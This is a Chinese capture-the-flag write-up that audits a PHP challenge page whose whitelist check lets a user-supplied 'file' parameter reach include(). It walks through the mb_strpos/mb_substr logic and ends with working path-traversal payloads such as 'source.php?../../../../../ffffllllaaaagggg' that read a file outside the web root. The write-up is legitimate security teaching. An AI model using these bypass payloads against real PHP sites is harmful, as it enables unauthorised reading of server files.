使用浏览器直接访问目标页面
- 只有一张图片没有其他标签信息,尝试查看页面前端源码
![](https://i-blog.csdnimg.cn/direct/bf1d440ccb4b4344af7668f52311030c.png)
Ctrl+U查看该页源码
![](https://i-blog.csdnimg.cn/direct/66cb12ecfaca4d33905c231481f462b3.png)
- 通过该页源码可见,存在注释:`<!--source.php-->`,因此尝试访问该文件
![](https://i-blog.csdnimg.cn/direct/f18afccf459d41e888574e10be744745.png)
- 通过该页面展示不难看出这些是PHP代码,将代码拖出进行审计
php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
使用大模型自动化为该代码进行逐行注释,以便我们进行阅读审计
php
<?php
// 高亮显示当前 PHP 文件的源代码,用于调试或展示代码结构
highlight_file(__FILE__);
// 定义一个名为 emmm 的类,该类用于检查文件是否合法
class emmm
{
// 定义一个静态方法 checkFile,用于检查传入的文件是否在白名单中
// &$page 表示通过引用传递 $page 变量,这样可以在方法内部修改该变量的值
public static function checkFile(&$page)
{
// 定义一个白名单数组 $whitelist,包含允许访问的文件及其对应的别名
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
// 检查 $page 是否未设置或者不是字符串类型
if (! isset($page) || !is_string($page)) {
// 如果不满足条件,输出提示信息
echo "you can't see it";
// 返回 false 表示文件不合法
return false;
}
// 检查 $page 是否在白名单数组中
if (in_array($page, $whitelist)) {
// 如果在白名单中,返回 true 表示文件合法
return true;
}
// 截取 $page 中从开头到第一个问号(?)之前的部分,存储在 $_page 变量中
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
// 检查截取后的 $_page 是否在白名单数组中
if (in_array($_page, $whitelist)) {
// 如果在白名单中,返回 true 表示文件合法
return true;
}
// 对 $page 进行 URL 解码,存储在 $_page 变量中
$_page = urldecode($page);
// 对解码后的 $_page 再次截取从开头到第一个问号(?)之前的部分
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 检查再次截取后的 $_page 是否在白名单数组中
if (in_array($_page, $whitelist)) {
// 如果在白名单中,返回 true 表示文件合法
return true;
}
// 如果以上所有检查都不通过,输出提示信息
echo "you can't see it";
// 返回 false 表示文件不合法
return false;
}
}
// 检查 $_REQUEST['file'] 是否不为空,并且是字符串类型,并且通过了 emmm::checkFile 方法的检查
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
// 如果所有条件都满足,包含并执行 $_REQUEST['file'] 指定的文件
include $_REQUEST['file'];
// 终止脚本执行
exit;
} else {
// 如果条件不满足,输出一张图片的 HTML 代码
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
将这些代码进行简单拆分后可以拆分成两个部分:
- 函数检查部分
- 文件包含执行部分
首先尝试分析相对较短的文件包含执行部分的代码
php
// 检查 $_REQUEST['file'] 是否不为空,并且是字符串类型,并且通过了 emmm::checkFile 方法的检查
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
// 如果所有条件都满足,包含并执行 $_REQUEST['file'] 指定的文件
include $_REQUEST['file'];
// 终止脚本执行
exit;
} else {
// 如果条件不满足,输出一张图片的 HTML 代码
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
- 可见该部分最后三行属于无关项,因此将其删去仅保留重点
php
// 检查 $_REQUEST['file'] 是否不为空,并且是字符串类型,并且通过了 emmm::checkFile 方法的检查
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
// 如果所有条件都满足,包含并执行 $_REQUEST['file'] 指定的文件
include $_REQUEST['file'];
// 终止脚本执行
exit;
}
- 简单分析可知,这部分代码最后会对`$_REQUEST['file'] `部分进行文件包含。所需条件为
- `$_REQUEST['file']`中的内容不能为空
- `$_REQUEST['file']`必须是字符串类型
- `$_REQUEST['file'] `必须已通过函数检查部分
总结:当上面三个条件判断均为真 时,将对file参数指定的文件进行文件包含操作
由此,文件包含执行的代码部分就解析完了,只有三个简单条件判断因此也相对易理解
接下来审计函数检查部分代码
php
<?php
// &$page 表示通过引用传递 $page 变量,这样可以在方法内部修改该变量的值
public static function checkFile(&$page)
{
// 定义一个白名单数组 $whitelist,包含允许访问的文件及其对应的别名
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
// 检查 $page 是否未设置或者不是字符串类型
if (! isset($page) || !is_string($page)) {
// 如果不满足条件,输出提示信息
echo "you can't see it";
// 返回 false 表示文件不合法
return false;
}
// 检查 $page 是否在白名单数组中
if (in_array($page, $whitelist)) {
// 如果在白名单中,返回 true 表示文件合法
return true;
}
// 截取 $page 中从开头到第一个问号(?)之前的部分,存储在 $_page 变量中
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
// 检查截取后的 $_page 是否在白名单数组中
if (in_array($_page, $whitelist)) {
// 如果在白名单中,返回 true 表示文件合法
return true;
}
// 对 $page 进行 URL 解码,存储在 $_page 变量中
$_page = urldecode($page);
// 对解码后的 $_page 再次截取从开头到第一个问号(?)之前的部分
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 检查再次截取后的 $_page 是否在白名单数组中
if (in_array($_page, $whitelist)) {
// 如果在白名单中,返回 true 表示文件合法
return true;
}
// 如果以上所有检查都不通过,输出提示信息
echo "you can't see it";
// 返回 false 表示文件不合法
return false;
}
- 此处定义了一个whitelist数组,用作后续白名单文件的判断
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
- 此处用于判断该文件是否正确传参进入该判断函数,以及该文件是否为字符串
if (! isset(page) \|\| !is_string(page))
- 此处用于判断传入的文件是否存在于白名单中,即是否为source.php 、hint.php文件
if (in_array($page, $whitelist))
尝试访问hint.php文件获取更多信息
![](https://i-blog.csdnimg.cn/direct/367f4f614f034f74a8046adc0f350af9.png)
- 该页只有一条文本,猜测Flag应该存储在根目录下的ffffllllaaaagggg文件中
flag not here, and flag in ffffllllaaaagggg
接着往下对函数检查部分代码进行审计这里到了重点
![](https://i-blog.csdnimg.cn/direct/445f7b6b5fb74746a7984679fe5b2324.png)
- 可见这部分代码在该函数中出现了两次
php
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
首先对mb_strpos函数进行分析
mb_strpos($_page . '?', '?')
首先看:`$_page . '?' `这部分:这代表了首先将在文件末尾拼接一个问号`?`
- 例如原文为:?ABCDE
- 经过拼接后变为:?ABCDE?
再从整体`mb_strpos($_page . '?', '?') `分析:这代表了将从**?ABCDE?**中查找第一个问号的位置
![](https://i-blog.csdnimg.cn/direct/9d3dadca58be4364be3c1d098d0bb95f.png)
原文为:`?ABCDE`时每个字符的位置(蓝色数字)
因此,当原文为**?ABCDE** 时,该函数`mb_strpos($_page . '?', '?') `将会返回结果:0
![](https://i-blog.csdnimg.cn/direct/3b90a1eeca9a46a7b615f88b05d24b45.png)
原文为:`ABCDE`时每个字符的位置(蓝色数字)
假设,当原文为:ABCDE时, 该函数`mb_strpos($_page . '?', '?') `将会返回结果:5
该函数为防止该字符串不存在`? `符,在末尾添加`?`符以便后续其他函数的判断
接着对mb_substr函数进行分析
_page = mb_substr(_page,0,mb_strpos($_page . '?', '?'));
- 可将三个函数拆分成三个部分:A、B、C
$_page = mb_substr(A ,B ,C);
- 首先分析该函数中的三个参数
_page,0,mb_strpos(_page . '?', '?')
- A部分($_page:用于标识对该字符串是待处理字符串
- B部分(0 :表示截取的起始位置这里为0也就是从头开始
- C部分(mb_strpos($_page . '?', '?') :由于mb_strpos 函数最终返回的是一个长度值 ,因此这里代表的是mb_substr的截取长度)
因此,经过mb_substr 、mb_strpos的复合操作后,返回示例如下
当**$_page** 原文为:?ABCDE 时,C部分返回长度为0 ,B部分从0 开始截取,返回空串
当**$_page** 原文为:ABCDE 时,C部分返回长度为5 ,B部分从0 开始截取,返回ABCDE
此处出现了两次截取和判断白名单
- 由图可知,两次截取判断中间仅做了一次URL解码,猜测是为了防止攻击者使用编码绕过
php
$_page = urldecode($page);
![](https://i-blog.csdnimg.cn/direct/b6dae7a195694baba370533d868935ba.png)
至此所有判断函数和代码均已分析完成,尝试逐一进行绕过
- 尝试绕过第一次白名单判断,注意**URL/?file=**为传参点不参与判断运算
![](https://i-blog.csdnimg.cn/direct/e60b00486afe41e39258c9accfb4b687.png)
构造链接:URL/?file=source.php? 或URL/?file=hint.php ?,此时$page=source.php 或hint.php存在于白名单中
- 尝试绕过第一次截取后加白名单判断
![](https://i-blog.csdnimg.cn/direct/ea42ff41e7f9494a99bb9a7b69706d49.png)
构造链接:URL/?file=source.php? 或URL/?file=hint.php? ,经过截取后$_page=source.php 或hint.php依然存在于白名单
使用urldecode函数对$page进行URL解码后其值不变,因为我们在构造的链接中未对任何字符进行URL编码
- 尝试绕过第二次截取后加白名单判断
_page = urldecode(page);
- 上述代码,会将source.php 或hint.php 传给$_page变量中,通过mb_strpos 函数自动往末尾拼接`? `符进行截取后,结果依然是source.php 或hint.php,因此同样可以通过白名单判断
不论是截取还是白名单判断,综合来看source.php 或hint.php问号后面的字符串自始至终都不参与到任何判断
- 因此,我这里尝试通过include 函数对路径限制不够严格的特性读取ffffllllaaaagggg文件
构造完整链接:URL/?file=source.php?../../../../../ffffllllaaaagggg
- 由于不知道多少个`../`可以回到根目录,所以逐个添加尝试即可
include 函数将会解析字符串:source.php?../../../../../ffffllllaaaagggg
- 如果在靶机WebAPP当前目录下存在source.php 文件,include将包含source.php 文件而忽略**../../../../../ffffllllaaaagggg**文件
- 而如果在靶机WebAPP当前目录下找不到source.php 文件,include 函数会将整个字符串作为路径尝试解析,因此读取到**../../../../../ffffllllaaaagggg**文件
访问构造好的链接即可获取FLAG
URL/?file=source.php?../../../../../ffffllllaaaagggg
URL/?file=hint.php?../../../../../ffffllllaaaagggg
![](https://i-blog.csdnimg.cn/direct/ccf548451f604b568325b491d6644821.png)